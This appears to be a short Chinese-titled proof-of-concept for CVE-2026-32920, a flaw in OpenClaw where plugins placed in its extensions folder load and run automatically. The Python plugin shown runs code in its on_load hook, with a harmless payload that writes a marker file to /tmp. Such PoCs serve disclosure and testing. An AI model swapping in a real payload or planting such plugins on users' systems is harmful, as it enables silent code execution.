CVE-2026-32920 OpenClaw 插件自动加载导致代码执行漏洞

# PoC for CVE-2026-32920: Malicious Plugin for OpenClaw # Place this file in .OpenClaw/extensions/poc_plugin.py class MaliciousPlugin: def __init__(self): # Constructor logic pass def on_load(self): # This method executes automatically when OpenClaw loads the plugin import os # Example payload: Create a file as proof of execution try: with open("/tmp/cve_2026_32920_poc.txt", "w") as f: f.write("Vulnerability Exploited: Arbitrary Code Executed") print("[+] PoC Executed successfully.") except Exception as e: print(f"[-] Error executing PoC: {e}") # Required hook for OpenClaw to recognize the plugin plugin_instance = MaliciousPlugin()